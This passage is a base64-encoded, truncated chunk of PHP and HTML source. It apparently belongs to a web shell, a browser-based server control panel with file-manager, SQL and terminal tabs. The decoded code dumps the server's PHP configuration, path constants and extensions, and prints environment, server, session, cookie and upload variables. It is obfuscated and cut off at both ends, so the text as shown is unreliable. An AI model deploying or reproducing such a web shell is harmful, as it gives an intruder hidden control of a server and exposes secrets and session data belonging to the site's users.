llKCk7CiAgICAgICAgfQogICAgICAgIGlmICgkRFsndCddID09PSAncCcpIHsKICAgICAgICAgICAgZWNobyAneyJDb25maWdzIjp7JzsKICAgICAgICAgICAgJGEgPSBhcnJheSgpOwogICAgICAgICAgICAkYiA9IEZBTFNFOwogICAgICAgICAgICBpZiAoUEhQX1ZFUlNJT04gPj0gJzUuMi40JykKICAgICAgICAgICAgICAgICRhW10gPSBwaHBfaW5pX2xvYWRlZF9maWxlKCk7CiAgICAgICAgICAgIGlmIChQSFBfVkVSU0lPTiA+PSAnNC4zJykKICAgICAgICAgICAgICAgICRhW10gPSBwaHBfaW5pX3NjYW5uZWRfZmlsZXMoKTsKICAgICAgICAgICAgaWYgKCRhKSB7CiAgICAgICAgICAgICAgICAkYiA9IFRSVUU7CiAgICAgICAgICAgICAgICBlY2hvICciTG9hZGVkIGZpbGVzIjonOwogICAgICAgICAgICAgICAganNvbkVjaG8oaW1wbG9kZSgiLFxuIiwgJGEpKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBpZiAoUEhQX1ZFUlNJT04gPj0gJzQuMicgJiYgaXNfYXJyYXkoJGEgPSBpbmlfZ2V0X2FsbCgpKSkKICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRhIGFzICRrID0+ICR2KSB7CiAgICAgICAgICAgICAgICAgICAgaWYgKCRiKQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICcsJzsKICAgICAgICAgICAgICAgICAgICBlbHNlCiAgICAgICAgICAgICAgICAgICAgICAgICRiID0gVFJVRTsKICAgICAgICAgICAgICAgICAgICBqc29uRWNobygkayk7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnOic7CiAgICAgICAgICAgICAgICAgICAganNvbkVjaG8oJHZbJ2xvY2FsX3ZhbHVlJ10pOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICBlY2hvICd9JzsKICAgICAgICAgICAgZWNobyAnLCJNYWluIENvbnN0YW50cyI6eyc7CiAgICAgICAgICAgICRiID0gRkFMU0U7CiAgICAgICAgICAgIGZvcmVhY2ggKGFycmF5KAogICAgICAgICAgICAgICAgJ1BIUF9PUycsCiAgICAgICAgICAgICAgICAnUEhQX1dJTkRPV1NfVkVSU0lPTl9NQUpPUicsCiAgICAgICAgICAgICAgICAnUEhQX1dJTkRPV1NfVkVSU0lPTl9NSU5PUicsCiAgICAgICAgICAgICAgICAnUEhQX1dJTkRPV1NfVkVSU0lPTl9CVUlMRCcsCiAgICAgICAgICAgICAgICAnUEhQX1dJTkRPV1NfVkVSU0lPTl9TUF9NQUpPUicsCiAgICAgICAgICAgICAgICAnUEhQX1dJTkRPV1NfVkVSU0lPTl9TUF9NSU5PUicsCiAgICAgICAgICAgICAgICAnUEhQX1dJTkRPV1NfVkVSU0lPTl9TVUlURU1BU0snLAogICAgICAgICAgICAgICAgJ1BIUF9XSU5ET1dTX1ZFUlNJT05fUExBVEZPUk0nLAogICAgICAgICAgICAgICAgJ1BIUF9XSU5ET1dTX1ZFUlNJT05fUFJPRFVDVFRZUEUnLAogICAgICAgICAgICAgICAgJ1BIUF9XSU5ET1dTX05UX1dPUktTVEFUSU9OJywKICAgICAgICAgICAgICAgICdQSFBfV0lORE9XU19OVF9TRVJWRVInLAogICAgICAgICAgICAgICAgJ1BIUF9XSU5ET1dTX05UX0RPTUFJTl9DT05UUk9MTEVSJywKICAgICAgICAgICAgICAgICdQSFBfU0FQSScsCiAgICAgICAgICAgICAgICAnUEhQX1ZFUlNJT04nLAogICAgICAgICAgICAgICAgJ1BIUF9CSU5BUlknLAogICAgICAgICAgICAgICAgJ1BIUF9QUkVGSVgnLAogICAgICAgICAgICAgICAgJ1BIUF9CSU5ESVInLAogICAgICAgICAgICAgICAgJ1BIUF9MSUJESVInLAogICAgICAgICAgICAgICAgJ1BIUF9TSExJQl9TVUZGSVgnLAogICAgICAgICAgICAgICAgJ1BIUF9FWFRFTlNJT05fRElSJywKICAgICAgICAgICAgICAgICdQSFBfREFUQURJUicsCiAgICAgICAgICAgICAgICAnUEhQX0NPTkZJR19GSUxFX1BBVEgnLAogICAgICAgICAgICAgICAgJ1BIUF9DT05GSUdfRklMRV9TQ0FOX0RJUicsCiAgICAgICAgICAgICAgICAnUEhQX01BTkRJUicsCiAgICAgICAgICAgICAgICAnREVGQVVMVF9JTkNMVURFX1BBVEgnLAogICAgICAgICAgICAgICAgJ1BIUF9TWVNDT05GRElSJywKICAgICAgICAgICAgICAgICdQSFBfTE9DQUxTVEFURURJUicsCiAgICAgICAgICAgICAgICAnRElSRUNUT1JZX1NFUEFSQVRPUicsCiAgICAgICAgICAgICAgICAnUEFUSF9TRVBBUkFUT1InLAogICAgICAgICAgICAgICAgJ1BIUF9NQVhQQVRITEVOJywKICAgICAgICAgICAgICAgICdQSFBfSU5UX01BWCcsCiAgICAgICAgICAgICAgICAnUEhQX0lOVF9TSVpFJywKICAgICAgICAgICAgICAgICdQRUFSX0lOU1RBTExfRElSJywKICAgICAgICAgICAgICAgICdQRUFSX0VYVEVOU0lPTl9ESVInCiAgICAgICAgICAgICkgYXMgJHYpCiAgICAgICAgICAgICAgICBpZiAoZGVmaW5lZCgkdikpIHsKICAgICAgICAgICAgICAgICAgICBpZiAoJGIpCiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJywnOwogICAgICAgICAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgICAgICAgICAgJGIgPSBUUlVFOwogICAgICAgICAgICAgICAgICAgIGVjaG8gJyInLCAkdiwgJyI6JzsKICAgICAgICAgICAgICAgICAgICBqc29uRWNobyhjb25zdGFudCgkdikpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICBlY2hvICd9JzsKICAgICAgICAgICAgaWYgKGlzX2FycmF5KCRhID0gZ2V0X2xvYWRlZF9leHRlbnNpb25zKCkpKSB7CiAgICAgICAgICAgICAgICBlY2hvICcsIk1vZHVsZXMiOnsnOwogICAgICAgICAgICAgICAgJGIgPSBGQUxTRTsKICAgICAgICAgICAgICAgICRpID0gYXJyYXkoCiAgICAgICAgICAgICAgICAgICAgJ0RPVFRFRF9WRVJTSU9OJywKICAgICAgICAgICAgICAgICAgICAnVkVSU0lPTicsCiAgICAgICAgICAgICAgICAgICAgJ1ZFUlNJT05fVEVYVCcKICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgICAgICBmb3JlYWNoICgkYSBhcyAkdikgewogICAgICAgICAgICAgICAgICAgIGlmICgkYikKICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnLCc7CiAgICAgICAgICAgICAgICAgICAgZWxzZQogICAgICAgICAgICAgICAgICAgICAgICAkYiA9IFRSVUU7CiAgICAgICAgICAgICAgICAgICAganNvbkVjaG8oJHYpOwogICAgICAgICAgICAgICAgICAgIGVjaG8gJzonOwogICAgICAgICAgICAgICAgICAgIGlmICghKCRrID0gcGhwdmVyc2lvbigkdikpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICR2ID0gc3RydG91cHBlcigkdik7CiAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRpIGFzICRuKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGRlZmluZWQoJHYgLiAnXycgLiAkbikpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkayA9IGNvbnN0YW50KCR2IC4gJ18nIC4gJG4pOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBpZiAoJGspCiAgICAgICAgICAgICAgICAgICAgICAgIGpzb25FY2hvKCRrKTsKICAgICAgICAgICAgICAgICAgICBlbHNlCiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJyIiJzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGVjaG8gJ30nOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGlmIChQSFBfVkVSU0lPTiA+PSAnNScpIHsKICAgICAgICAgICAgICAgIGVjaG8gJywiU3RyZWFtcyI6eyJUcmFuc3BvcnRzIjonOwogICAgICAgICAgICAgICAganNvbkVjaG8oaW1wbG9kZSgiLCAiLCBzdHJlYW1fZ2V0X3RyYW5zcG9ydHMoKSkpOwogICAgICAgICAgICAgICAgZWNobyAnLCJXcmFwcGVycyI6JzsKICAgICAgICAgICAgICAgIGpzb25FY2hvKGltcGxvZGUoIiwgIiwgc3RyZWFtX2dldF93cmFwcGVycygpKSk7CiAgICAgICAgICAgICAgICBlY2hvICcsIkZpbHRlcnMiOic7CiAgICAgICAgICAgICAgICBqc29uRWNobyhpbXBsb2RlKCIsICIsIHN0cmVhbV9nZXRfZmlsdGVycygpKSk7CiAgICAgICAgICAgICAgICBlY2hvICd9JzsKICAgICAgICAgICAgfQogICAgICAgICAgICAkYiA9IEZBTFNFOwogICAgICAgICAgICBmb3JlYWNoIChhcnJheSgKICAgICAgICAgICAgICAgICdfRU5WJywKICAgICAgICAgICAgICAgICdfU0VSVkVSJywKICAgICAgICAgICAgICAgICdfU0VTU0lPTicsCiAgICAgICAgICAgICAgICAnX1JFUVVFU1QnLAogICAgICAgICAgICAgICAgJ19HRVQnLAogICAgICAgICAgICAgICAgJ19QT1NUJywKICAgICAgICAgICAgICAgICdfQ09PS0lFJywKICAgICAgICAgICAgICAgICdfRklMRVMnLAogICAgICAgICAgICAgICAgJ0hUVFBfUkFXX1BPU1RfREFUQScsCiAgICAgICAgICAgICAgICAnYXJnYycsCiAgICAgICAgICAgICAgICAnYXJndicKICAgICAgICAgICAgKSBhcyAkdikKICAgICAgICAgICAgICAgIGlmIChpc3NldCgkJHYpICYmIGNvdW50KCQkdikgPiAwKSB7CiAgICAgICAgICAgICAgICAgICAgaWYgKCEkYikKICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnLCJHbG9iYWwgVmFyaWFibGVzIjp7JzsKICAgICAgICAgICAgICAgICAgICBmb3JlYWNoICgkJHYgYXMgJGsgPT4gJGkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRiKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnLCc7CiAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRiID0gVFJVRTsKICAgICAgICAgICAgICAgICAgICAgICAganNvbkVjaG8oJHYgLiAnWycgLiAkayAuICddJyk7CiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzonOwogICAgICAgICAgICAgICAgICAgICAgICBqc29uRWNobyhwcmludF9yKCRpLCBUUlVFKSk7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICBpZiAoJGIpCiAgICAgICAgICAgICAgICBlY2hvICd9JzsKICAgICAgICAgICAgc0RpZSgnfScpOwogICAgICAgIH0KICAgICAgICBicmVhazsKfQoKfQoKb2Jfc3RhcnQoKTsKPz4KCjwhRE9DVFlQRSBodG1sPjxodG1sPjxoZWFkPjxsaW5rIHJlbD0iaWNvbiIgdHlwZT0iaW1hZ2UvZ2lmIiBocmVmPSJkYXRhOmltYWdlL2ljbztiYXNlNjQsPD9waHAgJGljbyA9ICRfU0VSVkVSWydET0NVTUVOVF9ST09UJ10uJy9mYXZpY29uLmljbyc7IGVjaG8gKGZpbGVfZXhpc3RzKCRpY28pID8gYmFzZTY0X2VuY29kZShmaWxlX2dldF9jb250ZW50cygkaWNvKSkgOiAnUjBsR09EbGhFQUFRQUpFQ0FNREF3QUFBQVAvLy93QUFBQ0g1QkFFQUFBSUFMQUFBQUFBUUFCQUFRQUlnbEkrcEd3RXJnSVR0aVdvd2M3RDdiMGlXR0U3Z3A1MXFrbnJrZW1neUJ4Y0FPdz09Jyk7Pz4iLz48bWV0YSBuYW1lPSJyZWZlcnJlciIgY29udGVudD0ibm8tcmVmZXJyZXIiLz48dGl0bGU+PD9waHAgaWYoaXNzZXQoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKSllY2hvIGVzY0hUTUwoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKTtlbHNlaWYoaXNzZXQoJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10pKWVjaG8gZXNjSFRNTCgkX1NFUlZFUlsnU0VSVkVSX05BTUUnXSk7Pz48L3RpdGxlPjxzdHlsZT4qe2JveC1zaXppbmc6Ym9yZGVyLWJveDtvdXRsaW5lOjB9OmZvY3Vze291dGxpbmU6bm9uZTt9OmRpc2FibGVke29wYWNpdHk6LjV9OjotbW96LWZvY3VzLWlubmVye3BhZGRpbmc6MDtib3JkZXI6MH1odG1se2hlaWdodDoxMDAlO3BhZGRpbmc6MCAwIDhweCAwO2JhY2tncm91bmQtY29sb3I6I2YwZjBmMH1ib2R5e2JhY2tncm91bmQ6I2YwZjBmMDtwb3NpdGlvbjpyZWxhdGl2ZTtkaXNwbGF5OmZsZXg7bWFyZ2luOjAgYXV0byA4cHggYXV0bzt3aWR0aDoxMDAwcHg7bWluLWhlaWdodDoxMDAlO2ZvbnQ6bm9ybWFsIDExcHgvMS41IFZlcmRhbmEsc2Fucy1zZXJpZjtib3JkZXI6MXB4IHNvbGlkICNmZmY7Ym94LXNoYWRvdzowIDAgMTBweCByZ2JhKDAsMCwwLC41KTtmbGV4LWRpcmVjdGlvbjpjb2x1bW59aWZyYW1le2Rpc3BsYXk6bm9uZX1hLGE6dmlzaXRlZHtjb2xvcjp1bnNldDt0ZXh0LWRlY29yYXRpb246bm9uZX1wcmV7ZGlzcGxheTpibG9ja31maWVsZHNldHtib3JkZXI6MXB4IHNvbGlkICNjN2M3Yzd9dGFibGV7Zm9udC1zaXplOjEycHg7d2lkdGg6MTAwJTtib3JkZXItY29sbGFwc2U6Y29sbGFwc2V9dGgsdGR7cGFkZGluZzozcHggNXB4O2JvcmRlcjoxcHggc29saWQgI2RmZGZkZn10aGVhZCx0Zm9vdHtjb2xvcjojZmNmY2ZjO2JhY2tncm91bmQ6IzdmN2Y3Zn10Ym9keXtiYWNrZ3JvdW5kOiNmN2Y3Zjd9dGJvZHkgdHI6aG92ZXJ7YmFja2dyb3VuZDojZWNlY2VjfXRmb290IHRoe3BhZGRpbmc6OHB4IDAgNHB4IDJweDt0ZXh0LWFsaWduOmxlZnR9dGZvb3QgYnV0dG9ue3dpZHRoOjkwcHh9aW5wdXQsc2VsZWN0LGJ1dHRvbix0ZXh0YXJlYXttYXJnaW46MXB4IDJweDtmb250OjExcHgvMS40IFZlcmRhbmEsc2Fucy1zZXJpZjtiYWNrZ3JvdW5kOiNlYWVhZWE7Ym9yZGVyOjFweCBzb2xpZCAjYzdjN2M3fWxhYmVsLHNlbGVjdCxidXR0b257Y3Vyc29yOnBvaW50ZXJ9YnV0dG9ue3BhZGRpbmc6MXB4IDEwcHg7Ym9yZGVyLXJhZGl1czozcHh9dGV4dGFyZWF7ZGlzcGxheTpibG9jaztmbGV4OjE7Zm9udDoxM3B4LzEuNSAnQ291cmllciBOZXcnLG1vbm9zcGFjZTtiYWNrZ3JvdW5kOiNmZmY7cmVzaXplOm5vbmV9aW5wdXRbdHlwZT0idGV4dCJde3BhZGRpbmc6MXB4IDJweDtkaXNwbGF5OmJsb2NrO3dpZHRoOjEwMCU7ZmxleDoxfWlucHV0W3R5cGU9InRleHQiXTpub3QoOmRpc2FibGVkKTpmb2N1c3tiYWNrZ3JvdW5kOiNmZmZ9aW5wdXRbdHlwZT0iY2hlY2tib3giXXt2ZXJ0aWNhbC1hbGlnbjp0ZXh0LXRvcH1pbnB1dDpub3QoOmRpc2FibGVkKTpob3ZlcixzZWxlY3Q6bm90KDpkaXNhYmxlZCk6aG92ZXIsYnV0dG9uOm5vdCg6ZGlzYWJsZWQpOmhvdmVyLGlucHV0Om5vdCg6ZGlzYWJsZWQpOmZvY3VzLHNlbGVjdDpub3QoOmRpc2FibGVkKTpmb2N1cyxidXR0b246bm90KDpkaXNhYmxlZCk6Zm9jdXN7YmFja2dyb3VuZDojZjBmMGYwO2JvcmRlci1jb2xvcjojYTdhN2E3fWJ1dHRvbjpub3QoOmRpc2FibGVkKTphY3RpdmV7YmFja2dyb3VuZDojZTBlMGUwO2JvcmRlci1jb2xvcjojYTBhMGEwICNkMGQwZDAgI2QwZDBkMCAjYTBhMGEwfXRleHRhcmVhOmhvdmVyLHRleHRhcmVhOmZvY3Vze2JvcmRlci1jb2xvcjojN2Y3ZjdmfSNkaXZIZHJ7cG9zaXRpb246YWJzb2x1dGU7dG9wOjJweDtyaWdodDo0cHg7ei1pbmRleDoxfSNkaXZCb2R5e3Bvc2l0aW9uOnJlbGF0aXZlO2ZsZXg6MX0jZGl2RnRye21hcmdpbjowIDJweCAzcHggMnB4O2NsZWFyOmJvdGh9I2RpdkZ0ciBkaXZ7ZmxleDoxIDEgMH0jZGl2RHRUbXt0ZXh0LWFsaWduOmNlbnRlcn0jYWN0TG9ne2Rpc3BsYXk6bm9uZTtmbG9hdDpyaWdodDtmb250LXNpemU6MjBweDtsaW5lLWhlaWdodDoxNnB4fSNkaXZNc2dze3Bvc2l0aW9uOmZpeGVkO2xlZnQ6MDtyaWdodDowO2JvdHRvbToxMHB4O3otaW5kZXg6OTk5O21heC1oZWlnaHQ6MjAlO292ZXJmbG93LXk6YXV0b30jZGl2TXNncyBkaXZ7b3BhY2l0eTowLjh9I2Rpdk1zZ3MgZGl2OmhvdmVye29wYWNpdHk6MX0udGFiLDp0YXJnZXQgfiAjdGFiSW5mIC50YWJ7ZGlzcGxheTppbmxpbmUtYmxvY2s7bWFyZ2luOjVweCAwIDAgMnB4O3BhZGRpbmc6M3B4IDE1cHggMXB4IDE1cHg7Y29sb3I6IzcwNzA3MCAhaW1wb3J0YW50O2JvcmRlcjoxcHggc29saWQgI2QwZDBkMDtib3JkZXItYm90dG9tOjA7Ym9yZGVyLXJhZGl1czozcHggM3B4IDAgMDtiYWNrZ3JvdW5kOiNlN2U3ZTd9OnRhcmdldCAudGFiLCN0YWJJbmYgLnRhYntwb3NpdGlvbjpyZWxhdGl2ZTttYXJnaW4tYm90dG9tOi0ycHg7cGFkZGluZy1ib3R0b206M3B4O3otaW5kZXg6MTtjb2xvcjojMDAwICFpbXBvcnRhbnQ7YmFja2dyb3VuZDojZjdmN2Y3fS50YWJQYWdle2Rpc3BsYXk6bm9uZTtmbG9hdDpsZWZ0O3dpZHRoOjEwMCU7aGVpZ2h0OjEwMCU7ZmxleC1kaXJlY3Rpb246Y29sdW1ufTp0YXJnZXQgLnRhYlBhZ2UsI2RpdkluZm8udGFiUGFnZXtkaXNwbGF5OmZsZXh9OnRhcmdldCB+ICN0YWJJbmY+I2RpdkluZm8udGFiUGFnZXtkaXNwbGF5Om5vbmV9LnRvb2xiYXIsLnN1YmJhciwucGFuZWx7ZGlzcGxheTpmbGV4O2JvcmRlcjoxcHggc29saWQgI2QwZDBkMDtiYWNrZ3JvdW5kOiNmN2Y3Zjd9LnRvb2xiYXJ7bWFyZ2luOjFweCAwIDRweCAwO3BhZGRpbmc6OHB4IDJweCA1cHggMnB4O2JvcmRlci13aWR0aDoxcHggMDthbGlnbi1pdGVtczpjZW50ZXI7anVzdGlmeS1jb250ZW50OnNwYWNlLWJldHdlZW59LnN1YmJhcnttYXJnaW46LTVweCAwIDRweCAwO3BhZGRpbmc6MnB4IDNweCA1cHggNXB4O2JvcmRlci13aWR0aDowIDAgMXB4IDFweDtib3JkZXItcmFkaXVzOjAgMCAwIDRweDthbGlnbi1zZWxmOmZsZXgtZW5kfS5wYW5lbHtwb3NpdGlvbjpyZWxhdGl2ZTttYXJnaW46MCAycHggOHB4IDJweDtwYWRkaW5nOjRweCAzcHh9LmFyd1VwLC5hcndEd257ZGlzcGxheTppbmxpbmUtYmxvY2s7bWFyZ2luOjAgMCAycHggMDtwYWRkaW5nOjA7Ym9yZGVyOnNvbGlkIHRyYW5zcGFyZW50O2JvcmRlci13aWR0aDo0cHggNXB4IDRweCA1cHh9LmFyd1Vwe2JvcmRlci10b3A6MDtib3JkZXItYm90dG9tLWNvbG9yOiMwMDB9LmFyd0R3bntib3JkZXItdG9wLWNvbG9yOiMwMDA7Ym9yZGVyLWJvdHRvbTowfS5zcG5DaHJzdHtkaXNwbGF5OmlubGluZS1ibG9jazttYXJnaW46MCAwIDAgNHB4O3BhZGRpbmc6MH0uc3BuQ2hyc3QgLmFyd1VwLC5zcG5DaHJzdCAuYXJ3RHdue3Bvc2l0aW9uOnJlbGF0aXZlO21hcmdpbjowIC0xNnB4IDJweCAycHh9LnNwbkNocnN0IHNlbGVjdHtwYWRkaW5nLWxlZnQ6MTFweH0uY250cmx7ZGlzcGxheTppbmxpbmUtYmxvY2s7b3ZlcmZsb3c6aGlkZGVuO29wYWNpdHk6LjU7Y29sb3I6IzAwMDtib3JkZXItcmFkaXVzOjVweH0uY250cmwuYXJ3RHdue21hcmdpbjowIDFweDtib3JkZXItd2lkdGg6N3B4IDZweCAwIDZweDtib3JkZXItcmFkaXVzOjB9LmNudHJsOmhvdmVyLC5jbnRybDpmb2N1c3tvcGFjaXR5OjF9LmRpdkNudHJscyAuY250cmwsI2J0blNyY2h7d2lkdGg6MThweDtoZWlnaHQ6MTlweH0uZGl2Q250cmxzIC5jbnRybHtmbG9hdDpyaWdodDttYXJnaW4tdG9wOi0xcHg7Zm9udDpub3JtYWwgMjBweC8xNnB4IFZlcmRhbmEsc2Fucy1zZXJpZjt0ZXh0LWFsaWduOmNlbnRlcn0ubG5rQWN0OmhvdmVye3RleHQtZGVjb3JhdGlvbjp1bmRlcmxpbmV9LmJsaW5re2FuaW1hdGlvbjpibGluayAxcyBzdGVwcygyLHN0YXJ0KSBpbmZpbml0ZX1Aa2V5ZnJhbWVzIGJsaW5re3Rve2NvbG9yOnRyYW5zcGFyZW50fX0ubW9kYWx7ZGlzcGxheTpmbGV4O3Bvc2l0aW9uOmZpeGVkO3Zpc2liaWxpdHk6aGlkZGVuO3otaW5kZXg6MTAwO3RvcDo1MCU7bGVmdDo1MCU7dHJhbnNmb3JtOnRyYW5zbGF0ZVgoLTUwJSkgdHJhbnNsYXRlWSgtNTAlKTtwYWRkaW5nOjNweCAzcHggNXB4IDNweDtmbGV4LWRpcmVjdGlvbjpjb2x1bW47Ym9yZGVyOjFweCBzb2xpZCAjZmZmO2JhY2tncm91bmQ6I2Y3ZjdmNztib3gtc2hhZG93OjAgMCAxMHB4IHJnYmEoMCwwLDAsLjUpfS5kaXZDbnRybHN7bWFyZ2luLWJvdHRvbTo1cHg7dXNlci1zZWxlY3Q6bm9uZTt9LnNwblRpdGxle2ZvbnQtd2VpZ2h0OmJvbGR9Lm9wdGlvbntkaXNwbGF5OmJsb2NrO21hcmdpbjowIDJweCAxMHB4IDJweDtmbGV4OjF9Lm9wdGlvbiBpbnB1dFt0eXBlPSJ0ZXh0Il17bWFyZ2luOjFweCAwfS5vcHRpb24gc2VsZWN0e2Rpc3BsYXk6YmxvY2s7bWFyZ2luOjAgMXB4fS5kaXZNc2dQcmNzLC5kaXZNc2dFcnIsLmRpdk1zZ0luZnttYXJnaW46MCAxMHB4IDEwcHggMTBweDtwYWRkaW5nOjNweCAzcHggM3B4IDVweDt3aGl0ZS1zcGFjZTpwcmUtd3JhcDtib3JkZXI6MXB4IHNvbGlkO2JvcmRlci1yYWRpdXM6M3B4fS5kaXZNc2dQcmNze2JhY2tncm91bmQtaW1hZ2U6bGluZWFyLWdyYWRpZW50KCNmZmYsI2UwZTBlMCk7Ym9yZGVyLWNvbG9yOiNhMGEwYTB9LmRpdk1zZ0VycntiYWNrZ3JvdW5kLWltYWdlOmxpbmVhci1ncmFkaWVudCgjZmZmLCNmZmQwZDApO2JvcmRlci1jb2xvcjojZmZhMGEwfS5kaXZNc2dJbmZ7YmFja2dyb3VuZC1pbWFnZTpsaW5lYXItZ3JhZGllbnQoI2ZmZiwjYzBjMGZmKTtib3JkZXItY29sb3I6I2EwYTBmZn0jZGl2U3RuZ3N7d2lkdGg6MzAwcHh9I2RpdkxvZ3t3aWR0aDo4MCU7aGVpZ2h0OjUwJX0jZGl2TG9nQ250bntvdmVyZmxvdy15OmF1dG99LmZsZXhSb3d7ZGlzcGxheTpmbGV4O2FsaWduLWl0ZW1zOmNlbnRlcjtqdXN0aWZ5LWNvbnRlbnQ6c3BhY2UtYmV0d2Vlbn0udW5xe2NvbG9yOiM3YTZmMTV9I2RpdlBhZ2VQSFAsI2ZybVRybXtwb3NpdGlvbjphYnNvbHV0ZTtwYWRkaW5nLWJvdHRvbTozMHB4fSNidG5TcmNoe21hcmdpbi1yaWdodDo0cHh9I2J0blNyY2g6YmVmb3JlLCNidG5TcmNoOmFmdGVye2NvbnRlbnQ6Jyc7ZGlzcGxheTppbmxpbmUtYmxvY2s7Ym9yZGVyOjFweCBzb2xpZH0jYnRuU3JjaDpiZWZvcmV7bWFyZ2luOjAgMCAwIDJweDt3aWR0aDo4cHg7aGVpZ2h0OjlweDtib3JkZXItcmFkaXVzOjUwJX0jYnRuU3JjaDphZnRlcnttYXJnaW46MCAwIC01cHggMDtoZWlnaHQ6NnB4O3RyYW5zZm9ybTpyb3RhdGUoLTQ1ZGVnKX0jYnRuRmFzdEFjdHtoZWlnaHQ6MTlweDttYXJnaW4tbGVmdDotNHB4O3BhZGRpbmc6MXB4IDVweDtib3JkZXItcmFkaXVzOjAgM3B4IDNweCAwfSNidG5GYXN0QWN0OmFjdGl2ZXtwYWRkaW5nOjJweCA1cHggMCA1cHh9I2ZybUZpbGVze21hcmdpbjowIDJweCAxMHB4IDJweH0jdGJsRmlsZXN7ZGlzcGxheTpub25lO3RhYmxlLWxheW91dDpmaXhlZH0jdGJsRmlsZXMgdGhlYWQgdGg6Zmlyc3Qtb2YtdHlwZSwjdGJsRmlsZXMgdGQ6Zmlyc3Qtb2YtdHlwZXtwYWRkaW5nOjA7dGV4dC1hbGlnbjpjZW50ZXJ9I3RibEZpbGVzIHRkOm50aC1vZi10eXBlKDMpe3doaXRlLXNwYWNlOm5vd3JhcH0jdGJsRmlsZXMgdGQ6bnRoLW9mLXR5cGUoNCl7dGV4dC1hbGlnbjpyaWdodH0jdGJsRmlsZXMgdGQ6bnRoLW9mLXR5cGUobis1KXt0ZXh0LWFsaWduOmNlbnRlcn0jdHh0Q2xwYnJke3Bvc2l0aW9uOmZpeGVkO3RvcDotMXB4O2xlZnQ6LTFweDttYXJnaW46MDtwYWRkaW5nOjA7d2lkdGg6MXB4O2hlaWdodDoxcHg7Ym9yZGVyOjB9I2ZybUxuaywuZnJtRmlsZXNQcnBze3dpZHRoOjcwMHB4fSNmcm1TcmNoe3dpZHRoOjU3MHB4fSNmcm1CdWZmZXIsLmZybUZpbGV7d2lkdGg6ODAwcHg7aGVpZ2h0OjgwJX0uZnJtRmlsZXttaW4td2lkdGg6NDAwcHg7bWluLWhlaWdodDoxNTBweDtvdmVyZmxvdzphdXRvO3Jlc2l6ZTpib3RofS5zcGNyRmxleHtib3JkZXI6MDtmbGV4OjF9LnNwY3IyMHtib3JkZXI6MDt3aWR0aDoyMHB4fS5ub0ZsZXggLm9wdGlvbntmbGV4OmluaXRpYWx9LnNwbkJ0blNiTW57cG9zaXRpb246cmVsYXRpdmV9LmJ0blNiTW57d2lkdGg6NzVweH0uZGl2U2JNbntkaXNwbGF5Om5vbmU7cG9zaXRpb246YWJzb2x1dGU7dG9wOjEwMCU7cmlnaHQ6M3B4O21hcmdpbi10b3A6LTFweDt3aWR0aDo3M3B4O3otaW5kZXg6MTtib3JkZXI6MXB4IHNvbGlkICNjN2M3Yzc7YmFja2dyb3VuZDojZWZlZmVmfS5hTW5JdG17ZGlzcGxheTpibG9jazttYXJnaW46MXB4O3BhZGRpbmc6MnB4IDRweH0uYU1uSXRtOmhvdmVye2JhY2tncm91bmQ6I2UwZTBlMH0udGhQdGh7cGFkZGluZzo4cHggMCA0cHggMDtiYWNrZ3JvdW5kOiNmMGYwZjB9LnNwblB0aHtkaXNwbGF5OmlubGluZS1ibG9jaztmb250OjE0cHgvMS40ICdDb3VyaWVyIE5ldycsbW9ub3NwYWNlfS5zcG5QdGg6aG92ZXIgfiAuc3BuUHRoe2NvbG9yOiNjZmNmY2Z9LnRkVXB7dHJhbnNmb3JtOnJvdGF0ZSgxODBkZWcpfS5sbmtCbGNre2Rpc3BsYXk6YmxvY2s7d2hpdGUtc3BhY2U6cHJlLXdyYXA7d29yZC1icmVhazpicmVhay1hbGw7bWluLWhlaWdodDoxZW19LmxuazphZnRlcntjb250ZW50OidcMjFCNSc7ZmxvYXQ6cmlnaHR9Lm1ya2R7dGV4dC1kZWNvcmF0aW9uOnVuZGVybGluZX0ucHJtMCwucHJtMSwucHJtMiwucHJtM3tmb250OjEycHggJ0NvdXJpZXIgTmV3Jyxtb25vc3BhY2V9LnBybTB7Y29sb3I6cmVkICFpbXBvcnRhbnR9LnBybTJ7Y29sb3I6IzJiMmJiMiAhaW1wb3J0YW50fS5wcm0ze2NvbG9yOiMwMGFhMDAgIWltcG9ydGFudH0jdGFiU1FMIC50b29sYmFyIGlucHV0W3R5cGU9InRleHQiXXttYXJnaW46MXB4IDRweH0jZGl2U1FMV3JwTGVmdHtkaXNwbGF5Om5vbmU7ZmxvYXQ6bGVmdDt3aWR0aDoyNSV9I2RpdlNRTFdycFJpZ2h0e2Zsb2F0OnJpZ2h0O3dpZHRoOjc1JTtwYWRkaW5nLWxlZnQ6NXB4fSNkaXZTY2hte3Bvc2l0aW9uOnN0YXRpYzt3aGl0ZS1zcGFjZTpub3dyYXA7d2lkdGg6MTAwJTtvdmVyZmxvdy14OmhpZGRlbn0uZGl2SXRte21hcmdpbi1ib3R